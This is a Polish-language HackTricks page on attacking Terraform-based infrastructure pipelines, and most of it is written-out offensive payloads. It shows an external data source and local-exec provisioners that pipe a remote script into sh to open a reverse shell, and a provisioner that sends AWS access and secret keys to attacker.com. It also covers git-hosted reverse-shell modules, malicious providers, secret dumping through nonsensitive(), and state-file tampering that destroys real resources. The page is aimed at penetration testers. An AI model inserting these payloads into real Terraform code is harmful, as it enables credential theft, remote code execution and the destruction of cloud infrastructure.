Terraform Security

Support HackTricks

Podstawowe informacje

Z dokumentacji:

HashiCorp Terraform to narzędzie do infrastruktury jako kodu, które pozwala definiować zarówno zasoby w chmurze, jak i lokalne w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.

Jak działa Terraform?

Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługach za pośrednictwem ich interfejsów programowania aplikacji (API). Dostawcy umożliwiają Terraformowi pracę z praktycznie każdą platformą lub usługą z dostępnym API.

HashiCorp i społeczność Terraform już napisały ponad 1700 dostawców, aby zarządzać tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Możesz znaleźć wszystkich publicznie dostępnych dostawców w Terraform Registry, w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.

Podstawowy przepływ pracy Terraform składa się z trzech etapów:

  • Napisz: Definiujesz zasoby, które mogą być rozproszone w wielu dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.

  • Zaplanuj: Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji.

  • Zastosuj: Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując wszelkie zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC przed skalowaniem maszyn wirtualnych.

Laboratorium Terraform

Po prostu zainstaluj terraform na swoim komputerze.

Tutaj masz przewodnik, a tutaj masz najlepszy sposób na pobranie terraform.

RCE w Terraform

Terraform nie ma platformy, która udostępnia stronę internetową lub usługę sieciową, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest możliwość dodawania/modyfikowania plików konfiguracyjnych terraform.

Jednak terraform jest bardzo wrażliwym komponentem do skompromitowania, ponieważ będzie miał uprzywilejowany dostęp do różnych lokalizacji, aby mógł działać poprawnie.

Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest skomprimitowanie repozytorium, które przechowuje konfiguracje terraform, ponieważ w pewnym momencie będą one interpretowane.

W rzeczywistości istnieją rozwiązania, które automatycznie wykonują terraform plan/apply po utworzeniu PR, takie jak Atlantis:

Atlantis Security

Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, aby przeprowadzić RCE, gdy ktoś wykona terraform plan lub terraform apply.

Terraform plan

Terraform plan to najczęściej używane polecenie w terraform i deweloperzy/rozwiązania korzystające z terraform wywołują je cały czas, więc najłatwiejszym sposobem na uzyskanie RCE jest upewnienie się, że zanieczyszczasz plik konfiguracyjny terraform, który wykona dowolne polecenia w terraform plan.

Używając zewnętrznego dostawcy

Terraform oferuje external provider, który zapewnia sposób interakcji między Terraform a programami zewnętrznymi. Możesz użyć źródła danych external, aby uruchomić dowolny kod podczas plan.

Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego jak poniżej spowoduje wykonanie rev shell podczas wykonywania terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Używanie niestandardowego dostawcy

Napastnik mógłby wysłać niestandardowego dostawcę do Terraform Registry i następnie dodać go do kodu Terraform w gałęzi funkcji (przykład stąd):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Dostawca jest pobierany w init i uruchomi złośliwy kod, gdy plan zostanie wykonany

Możesz znaleźć przykład w https://github.com/rung/terraform-provider-cmdexec

Używanie zewnętrznego odniesienia

Obie wspomniane opcje są przydatne, ale nie bardzo dyskretne (druga jest bardziej dyskretna, ale bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak nawet w bardziej dyskretny sposób, stosując się do tych sugestii:

  • Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz załadować zewnętrzny zasób, który zawiera rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Możesz znaleźć kod rev shell w https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • W zasobie zewnętrznym użyj funkcji ref, aby ukryć kod rev shell Terraform w gałęzi wewnątrz repozytorium, coś takiego jak: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany, możesz go również nadużyć, aby uzyskać RCE, wstrzykując złośliwy plik Terraform z local-exec. Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Postępuj zgodnie z zaleceniami z poprzedniej techniki, aby przeprowadzić ten atak w bardziej ukryty sposób, używając zewnętrznych odniesień.

Zrzuty sekretów

Możesz mieć wartości sekretów używanych przez terraform zrzucane uruchamiając terraform apply, dodając do pliku terraform coś takiego:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Wykorzystywanie plików stanu Terraform

W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, te badania oferują kilka interesujących opcji, aby skorzystać z pliku:

Usuwanie zasobów

Istnieją 2 sposoby na zniszczenie zasobów:

  1. Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia

Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Zmień zasób do usunięcia w sposób, który uniemożliwia aktualizację (tak, aby został usunięty i odtworzony)

Dla instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.

RCE

Możliwe jest również utworzenie niestandardowego dostawcy i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie pustego zasobu z złośliwym dostawcą. Przykład z oryginalnych badań:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Zastąpienie zablokowanego dostawcy

W przypadku napotkania sytuacji, w której hashicorp/external został zablokowany, możesz ponownie zaimplementować dostawcę external, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Następnie możesz użyć external jak zwykle.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Narzędzia audytowe

  • tfsec: tfsec wykorzystuje analizę statyczną twojego kodu terraform, aby wykryć potencjalne błędy konfiguracyjne.

  • terascan: Terrascan to statyczny analizator kodu dla Infrastructure as Code.

Odniesienia

Wsparcie HackTricks

Last updated